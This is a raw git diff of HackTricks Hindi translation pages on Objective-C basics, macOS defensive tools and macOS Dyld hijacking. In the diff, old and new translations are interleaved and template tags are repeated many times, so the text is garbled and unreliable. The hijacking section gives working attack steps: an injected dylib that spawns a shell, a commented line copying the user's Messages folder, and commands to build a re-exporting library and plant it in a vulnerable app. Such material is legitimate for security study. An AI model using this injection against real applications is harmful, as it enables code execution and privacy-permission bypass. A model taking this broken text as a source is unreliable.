* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में** देखना चाहते हैं या **HackTricks को PDF में डाउनलोड** करना चाहते हैं तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos को PRs सबमिट करके।
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
## Objective-C
{% hint style="danger" %}
ध्यान दें कि Objective-C में लिखे गए कार्यक्रम [Mach-O binaries](macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md) में **कंपाइल** होने पर अपनी क्लास घोषणाएं **रखते हैं**। ऐसी क्लास घोषणाएं में नाम और प्रकार शामिल होते हैं:
ध्यान दें कि Objective-C में लिखे गए प्रोग्राम **जब** [Mach-O बाइनरीज़](macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md) में **संकलित** होते हैं, तो **अपनी** वर्ग घोषणाएँ **रखते** हैं। ऐसी वर्ग घोषणाएँ **शामिल** करती हैं:
{% endhint %}
* कक्षा
* कक्षा के विधियाँ
* कक्षा के उदाहरण चर
* वर्ग का नाम
* वर्ग के तरीके
* वर्ग के उदाहरण चर
आप [**class-dump**](https://github.com/nygard/class-dump) का उपयोग करके इस जानकारी को प्राप्त कर सकते हैं:
आप इस जानकारी को [**class-dump**](https://github.com/nygard/class-dump) का उपयोग करके प्राप्त कर सकते हैं:
```bash
class-dump Kindle.app
```
## कक्षाएं, विधियाँ और वस्तुएँ
ध्यान दें कि इन नामों को बाइनरी को रिवर्स करना अधिक कठिन बनाने के लिए अस्पष्ट किया जा सकता है।
### इंटरफेस, गुण और विधियाँ
## कक्षाएँ, विधियाँ और वस्तुएँ
### इंटरफ़ेस, गुण और विधियाँ
```objectivec
// Declare the interface of the class
@interface MyVehicle : NSObject
@ -63,7 +79,7 @@ self.numberOfWheels += value;
```
### **ऑब्जेक्ट और कॉल मेथड**
िसी क्लास की एक इंस्टेंस बनाने के लिए **`alloc`** मेथड को कॉल किया जाता है जो प्रत्येक **प्रॉपर्टी** के लिए **मेमोरी आवंटित** करता है और उन आवंटनों को **जीरो** करता है। फिर **`init`** को कॉल किया जाता है, जो प्रॉपर्टी को **आवश्यक मान** में **आरंभित** करता है।
्लास का एक उदाहरण बनाने के लिए **`alloc`** मेथड को कॉल किया जाता है जो प्रत्येक **प्रॉपर्टी** के लिए **मेमोरी आवंटित** करता है और उन आवंटनों को **शून्य** करता है। फिर **`init`** को कॉल किया जाता है, जो **प्रॉपर्टीज** को **आवश्यक मानों** पर **आरंभ** करता है।
```objectivec
// Something like this:
MyVehicle *newVehicle = [[MyVehicle alloc] init];
@ -77,13 +93,13 @@ MyVehicle *newVehicle = [MyVehicle new];
```
### **क्लास मेथड्स**
क्लास मेथड्स को **प्लस साइन** (+) के साथ परिभाषित किया जाता है न कि उस हाइफन (-) के साथ जो इंस्टेंस मेथड्स के साथ उपयोग किया जाता है। जैसे **NSString** क्लास मेथड **`stringWithString`**:
क्लास मेथड्स को **प्लस साइन** (+) के साथ परिभाषित किया जाता है, न कि हाइफन (-) के साथ जो इंस्टेंस मेथड्स के साथ उपयोग किया जाता है। जैसे कि **NSString** क्लास मेथड **`stringWithString`**:
```objectivec
+ (id)stringWithString:(NSString *)aString;
```
### सेटर और गेटर
### Setter & Getter
**प्रॉपर्टी** को **सेट** और **गेट** करने के लिए, आप इसे **डॉट नोटेशन** के साथ कर सकते हैं या ऐसे जैसे आप **एक मेथड को कॉल कर रहे हों**:
गुणों को **सेट** और **गेट** करने के लिए, आप इसे **डॉट नोटेशन** के साथ या जैसे कि आप **एक विधि को कॉल** कर रहे हों, कर सकते हैं:
```objectivec
// Set
newVehicle.numberOfWheels = 2;
@ -95,18 +111,18 @@ NSLog(@"Number of wheels: %i", [newVehicle numberOfWheels]);
```
### **इंस्टेंस वेरिएबल्स**
सेटर और गेटर मेथड के विकल्प के रूप में आप इंस्टेंस वेरिएबल्स का उपयोग कर सकते हैं। इन वेरिएबल्स का नाम प्रॉपर्टी के साथ समान होता है लेकिन "\_" के साथ शुरू होता है:
Setter और getter विधियों के विकल्प के रूप में आप इंस्टेंस वेरिएबल्स का उपयोग कर सकते हैं। ये वेरिएबल्स प्रॉपर्टीज के समान नाम रखते हैं लेकिन "\_" से शुरू होते हैं:
```objectivec
- (void)makeLongTruck {
_numberOfWheels = +10000;
NSLog(@"Number of wheels: %i", self.numberOfLeaves);
}
```
### प्रोटोकॉल
### Protocols
प्रोटोकॉल मेथड डिक्लेअरेशन का सेट होता है (प्रॉपर्टी के बिना)। एक क्लास जो एक प्रोटोकॉल को इम्प्लीमेंट करती है, घोषित मेथड को इम्प्लीमेंट करती है।
प्रोटोकॉल विधियों की घोषणाओं का एक सेट हैं (बिना गुणों के)। एक वर्ग जो एक प्रोटोकॉल को लागू करता है, घोषित विधियों को लागू करता है।
मेथडों के 2 प्रकार होते हैं: **अनिवार्य** और **वैकल्पिक****डिफ़ॉल्ट** रूप से एक मेथड **अनिवार्य** होता है (लेकिन आप इसे **`@required`** टैग के साथ भी इंडिकेट कर सकते हैं)। एक मेथड को वैकल्पिक बताने के लिए **`@optional`** का उपयोग करें।
विधियों के 2 प्रकार होते हैं: **अनिवार्य** और **वैकल्पिक****डिफ़ॉल्ट** रूप से एक विधि **अनिवार्य** होती है (लेकिन आप इसे **`@required`** टैग के साथ भी संकेत कर सकते हैं)। यह संकेत करने के लिए कि एक विधि वैकल्पिक है, **`@optional`** का उपयोग करें।
```objectivec
@protocol myNewProtocol
- (void) method1; //mandatory
@ -116,7 +132,7 @@ NSLog(@"Number of wheels: %i", self.numberOfLeaves);
- (void) method3; //optional
@end
```
### सभी साथ में
### सभी एक साथ
```objectivec
// gcc -framework Foundation test_obj.m -o test_obj
#import <Foundation/Foundation.h>
@ -166,9 +182,9 @@ NSLog(@"Number of wheels: %i", mySuperCar.numberOfWheels);
[mySuperCar makeLongTruck];
}
```
### मूल कक्षाएँ
### Basic Classes
#### स्ट्रिंग
#### String
{% code overflow="wrap" %}
```objectivec
@ -179,7 +195,7 @@ NSString *bookPublicationYear = [NSString stringWithCString:"1951" encoding:NSUT
```
{% endcode %}
मूल्यांकन कक्षाएँ **अपरिवर्तनीय** होती हैं, इसलिए किसी मौजूदा स्ट्रिंग में स्ट्रिंग जोड़ने के लिए **नया NSString बनाया जाना चाहिए**।
बुनियादी कक्षाएँ **अपरिवर्तनीय** होती हैं, इसलिए क मौजूदा स्ट्रिंग में एक स्ट्रिंग जोड़ने के लिए **एक नई NSString बनानी होगी**।
{% code overflow="wrap" %}
```objectivec
@ -187,7 +203,7 @@ NSString *bookDescription = [NSString stringWithFormat:@"%@ by %@ was published
```
{% endcode %}
या आप एक **परिवर्तनशील** स्ट्रिंग क्लास भी उपयोग कर सकते हैं:
या आप एक **mutable** स्ट्रिंग क्लास का भी उपयोग कर सकते हैं:
{% code overflow="wrap" %}
```objectivec
@ -198,8 +214,6 @@ NSMutableString *mutableString = [NSMutableString stringWithString:@"The book "]
[mutableString appendString:@" and published in "];
[mutableString appendString:bookPublicationYear];
```
{% endcode %}
#### संख्या
{% code overflow="wrap" %}
@ -223,7 +237,7 @@ NSNumber *noNumber = @NO; // equivalent to [NSNumber numberWithBool:NO]
```
{% endcode %}
#### Array, Sets & Dictionary
#### एरे, सेट और डिक्शनरी
{% code overflow="wrap" %}
```objectivec
@ -271,9 +285,13 @@ NSMutableDictionary *mutFruitColorsDictionary = [NSMutableDictionary dictionaryW
[mutFruitColorsDictionary setObject:@"green" forKey:@"apple"];
[mutFruitColorsDictionary removeObjectForKey:@"grape"];
```
### ब्लॉक्स
{% endcode %}
ब्लॉक्स **वे फंक्शन होते हैं जो ऑब्जेक्ट की तरह व्यवहार करते हैं** ताकि उन्हें फंक्शन में पास किया जा सके या **एरे में स्टोर** किया जा सके। इसके अलावा, यदि उन्हें मान दिए जाते हैं तो वे **एक मान का प्रतिनिधित्व कर सकते हैं** इसलिए यह लैम्बडा के समान हैं।
### Blocks
ब्लॉक्स **कार्य हैं जो वस्तुओं की तरह व्यवहार करते हैं** इसलिए इन्हें कार्यों में पास किया जा सकता है या **ऐरे** या **शब्दकोशों** में **स्टोर** किया जा सकता है। इसके अलावा, यदि इन्हें मान दिए जाएं तो ये **एक मान का प्रतिनिधित्व** कर सकते हैं, इसलिए यह लैम्ब्डा के समान है।
{% code overflow="wrap" %}
```objectivec
returnType (^blockName)(argumentType1, argumentType2, ...) = ^(argumentType1 param1, argumentType2 param2, ...){
//Perform operations here
@ -288,7 +306,7 @@ NSLog(@"3+4 = %d", suma(3,4));
```
{% endcode %}
फ़ंक्शन में पैरामीटर के रूप में उपयोग के लिए **एक ब्लॉक प्रकार को परिभाषित करना भी संभव है**:
यह भी संभव है कि **एक ब्लॉक प्रकार को एक पैरामीटर के रूप में उपयोग करने के लिए परिभाषित किया जाए** फ़ंक्शनों में:
```objectivec
// Define the block type
typedef void (^callbackLogger)(void);
@ -339,29 +357,47 @@ NSLog(@"Removed successfully");
```
{% endcode %}
फ़ाइलों को **`NSString` ऑब्जेक्ट की बजाय `NSURL` ऑब्जेक्ट** का उपयोग करके प्रबंधित करना भी संभव है। विधि के नाम समान हैं, लेकिन **`Path` की बजाय `URL`** के साथ हैं
यह भी संभव है कि **`NSString`** ऑब्जेक्ट्स के बजाय **`NSURL`** ऑब्जेक्ट्स का उपयोग करके फ़ाइलों का प्रबंधन किया जाए। विधि नाम समान हैं, लेकिन **`Path`** के बजाय **`URL`** के साथ
```objectivec
NSURL *fileSrc = [NSURL fileURLWithPath:@"/path/to/file1.txt"];
NSURL *fileDst = [NSURL fileURLWithPath:@"/path/to/file2.txt"];
[fileManager moveItemAtURL:fileSrc toURL:fileDst error: nil];
```
सबसे मूल कक्षाओं में एक विधि होती है `writeToFile:<path> atomically:<YES> encoding:<encoding> error:nil` जिसे प्रत्यक्ष रूप से एक फ़ाइल में लिखा जा सकता है:
```objectivec
NSString* tmp = @"something temporary";
[tmp writeToFile:@"/tmp/tmp1.txt" atomically:YES encoding:NSASCIIStringEncoding error:nil];
```
{% endcode %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें, HackTricks और HackTricks Cloud** github रेपो में PR जमा करके।
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,41 +1,43 @@
# macOS रक्षात्मक ऐप्स
# macOS Defensive Apps
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सदस्यता योजनाएं देखें**](https://github.com/sponsors/carlospolop)!
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारा संग्रह [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
## फ़ायरवॉल
## Firewalls
* [**Little Snitch**](https://www.obdev.at/products/littlesnitch/index.html): यह प्रत्येक प्रक्रिया द्वारा किए गए प्रत्येक कनेक्शन का मॉनिटर करेगा। मोड के आधार पर (चुप अनुमति कनेक्शन, चुप इनकार कनेक्शन और अलर्ट) यह हर बार एक नया कनेक्शन स्थापित होने पर **आपको एक अलर्ट दिखाएगा**। इसमें इस सभी जानकारी को देखने के लिए एक बहुत अच्छा GUI भी है।
* [**LuLu**](https://objective-see.org/products/lulu.html): Objective-See फ़ायरवॉल। यह एक मौलिक फ़ायरवॉल है जो संदेहपूर्ण कनेक्शन के लिए आपको अलर्ट करेगा (इसमें एक GUI है लेकिन यह Little Snitch की तरह फैंसी नहीं है)।
* [**Little Snitch**](https://www.obdev.at/products/littlesnitch/index.html): यह प्रत्येक प्रक्रिया द्वारा बनाए गए हर कनेक्शन की निगरानी करेगा। मोड के आधार पर (चुपचाप कनेक्शन की अनुमति देना, चुपचाप कनेक्शन को अस्वीकार करना और चेतावनी देना) यह **आपको एक चेतावनी दिखाएगा** हर बार जब एक नया कनेक्शन स्थापित होता है। इसमें सभी जानकारी देखने के लिए एक बहुत अच्छा GUI भी है।
* [**LuLu**](https://objective-see.org/products/lulu.html): Objective-See फ़ायरवॉल। यह एक बुनियादी फ़ायरवॉल है जो संदिग्ध कनेक्शनों के लिए आपको चेतावनी देगा (इसमें एक GUI है लेकिन यह Little Snitch के GUI जितना शानदार नहीं है)।
## स्थिरता पता लगाना
## Persistence detection
* [**KnockKnock**](https://objective-see.org/products/knockknock.html): Objective-See एप्लिकेशन जो ढूंढेगा कि **मैलवेयर कहाँ स्थिर हो सकता है** (यह एक वन-शॉट टूल है, न कि एक मॉनिटरिंग सेवा)।
* [**BlockBlock**](https://objective-see.org/products/blockblock.html): KnockKnock की तरह, स्थिरता उत्पन्न करने वाली प्रक्रियाओं को मॉनिटर करके।
* [**KnockKnock**](https://objective-see.org/products/knockknock.html): Objective-See एप्लिकेशन जो कई स्थानों में खोज करेगा जहाँ **malware स्थायी हो सकता है** (यह एक एकल-शॉट उपकरण है, निगरानी सेवा नहीं)।
* [**BlockBlock**](https://objective-see.org/products/blockblock.html): KnockKnock की तरह, जो स्थिरता उत्पन्न करने वाली प्रक्रियाओं की निगरानी करता है
## कीलॉगर्स पता लगाना
## Keyloggers detection
* [**ReiKey**](https://objective-see.org/products/reikey.html): Objective-See एप्लिकेशन जो **कीलॉगर्स** को खोजने में मदद करेगा जो कीबोर्ड "इवेंट टैप्स" को स्थापित करते हैं।
## रैंसमवेयर पता लगाना
* [**RansomWhere**](https://objective-see.org/products/ransomwhere.html): Objective-See एप्लिकेशन जो **फ़ाइल एन्क्रिप्शन** क्रियाओं को पहचानने में मदद करेगा।
## माइक और वेबकैम पता लगाना
* [**OverSight**](https://objective-see.org/products/oversight.html): Objective-See एप्लिकेशन जो **ऐप्लिकेशन को पहचानने में मदद करेगा जो वेबकैम और माइक का उपयोग करना शुरू करता है।**
## प्रक्रिया इंजेक्शन पता लगाना
* [**Shield**](https://theevilbit.github.io/shield/): विभिन्न प्रक्रिया इंजेक्शन की **पहचान करता है**
* [**ReiKey**](https://objective-see.org/products/reikey.html): Objective-See एप्लिकेशन जो **keyloggers** को खोजने के लिए है जो कीबोर्ड "इवेंट टैप" स्थापित करते हैं।

View file

@ -1,22 +1,23 @@
# macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES
# macOS Dyld Hijacking & DYLD\_INSERT\_LIBRARIES
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary>Support HackTricks</summary>
दूसरे तरीके HackTricks का समर्थन करने के लिए:
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos पर PRs सबमिट करके।
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## DYLD_INSERT_LIBRARIES मूल उदाहरण
## DYLD\_INSERT\_LIBRARIES मूल उदाहरण
**शैल को निष्पादित करने के लिए इंजेक्ट करने वाली पुस्तकालय:**
**शेल निष्पादित करने के लिए इंजेक्ट करने के लिए पुस्तकालय:**
```c
// gcc -dynamiclib -o inject.dylib inject.c
@ -34,7 +35,7 @@ execv("/bin/bash", 0);
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
}
```
आक्रमण के लिए बाइनरी:
बाइनरी पर हमला करने के लिए:
```c
// gcc hello.c -o hello
#include <stdio.h>
@ -45,13 +46,13 @@ printf("Hello, World!\n");
return 0;
}
```
संधारण:
Injection:
```bash
DYLD_INSERT_LIBRARIES=inject.dylib ./hello
```
## Dyld हाइजैकिंग उदाहरण
## Dyld Hijacking Example
लक्षित वंलरेबल बाइनरी है `/Applications/VulnDyld.app/Contents/Resources/lib/binary`.
लक्षित कमजोर बाइनरी है `/Applications/VulnDyld.app/Contents/Resources/lib/binary`.
{% tabs %}
{% tab title="entitlements" %}
@ -91,7 +92,7 @@ compatibility version 1.0.0
{% endtab %}
{% endtabs %}
पिछली जानकारी के साथ हमें पता चलता है कि यह **लोड की गई पुस्तकालयों के हस्ताक्षर की जांच नहीं कर रहा है** और यह **एक पुस्तकालय लोड करने की कोशिश कर रहा है**:
पिछली जानकारी के साथ, हम जानते हैं कि यह **लोड की गई लाइब्रेरीज़ के हस्ताक्षर की जांच नहीं कर रहा है** और यह **एक लाइब्रेरी लोड करने की कोशिश कर रहा है**:
* `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib`
* `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib`
@ -104,7 +105,7 @@ pwd
find ./ -name lib.dylib
./Contents/Resources/lib2/lib.dylib
```
इसलिए, इसे हाइजैक करना संभव है! एक लाइब्रेरी बनाएं जो **कुछ अनियमित कोड को क्रियान्वित करती है और वास्तविक लाइब्रेरी की तरह समार्थन निर्यात करती है** उसे पुनः निर्यात करके। और याद रखें कि इसे उम्मीद की गई संस्करणों के साथ कंपाइल करें:
तो, इसे हाईजैक करना संभव है! एक लाइब्रेरी बनाएं जो **कुछ मनमाने कोड को निष्पादित करती है और वैध लाइब्रेरी के समान कार्यक्षमताओं को फिर से निर्यात करती है**। और याद रखें कि इसे अपेक्षित संस्करणों के साथ संकलित करें:
{% code title="lib.m" %}
```objectivec
@ -117,7 +118,7 @@ NSLog(@"[+] dylib hijacked in %s", argv[0]);
```
{% endcode %}
इसे कंपाइल करें:
इसे संकलित करें:
{% code overflow="wrap" %}
```bash
@ -126,7 +127,7 @@ gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Found
```
{% endcode %}
पुनयायात्रा पथ जो पुस्तकालय में बनाया गया है, लोडर के संबंध में सापेक्ष है, हम इसे निर्यात करने के लिए एक पूर्ण पथ के लिए बदल देंगे:
लाइब्रेरी में बनाए गए पुनः निर्यात पथ लोडर के सापेक्ष होते हैं, आइए इसे निर्यात करने के लिए लाइब्रेरी के लिए एक पूर्ण पथ में बदलते हैं:
{% code overflow="wrap" %}
```bash
@ -155,33 +156,34 @@ cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
```
{% endcode %}
और **बाइनरी को चलाएं** और जांच करें कि **लाइब्रेरी लोड** हो गई है:
और **बाइनरी** को **निष्पादित** करें और जांचें कि **लाइब्रेरी लोड हुई**:
<pre class="language-context"><code class="lang-context">"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
<strong>2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary
</strong>Usage: [...]
</strong>उपयोग: [...]
</code></pre>
{% hint style="info" %}
इस व्यक्तिगत दुरुपयोग को दुरुपयोग करने के लिए इस कमजोरी के बारे में एक अच्छा लेख [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/) में मिल सकता है।
कैमरा अनुमतियों का दुरुपयोग करने के लिए इस भेद्यता का दुरुपयोग कैसे करें, इस पर एक अच्छा लेख [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/) में पाया जा सकता है।
{% endhint %}
## बड़े पैमाने पर
यदि आप अप्रत्याशित बाइनरी में लाइब्रेरी इंजेक्शन करने की कोशिश कर रहे हैं तो आप प्रक्रिया के अंदर लाइब्रेरी लोड होने का पता लगाने के लिए घटना संदेशों की जांच कर सकते हैं (इस मामले में printf और `/bin/bash` निष्क्रिय करें)।
यदि आप अप्रत्याशित बाइनरी में लाइब्रेरी इंजेक्ट करने की योजना बना रहे हैं, तो आप यह पता लगाने के लिए इवेंट संदेशों की जांच कर सकते हैं कि प्रक्रिया के अंदर लाइब्रेरी कब लोड होती है (इस मामले में printf और `/bin/bash` निष्पादन को हटा दें)।
```bash
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
```
{% hint style="success" %}
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
दूसरे तरीके HackTricks का समर्थन करने के लिए:
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}

View file

@ -1,22 +1,23 @@
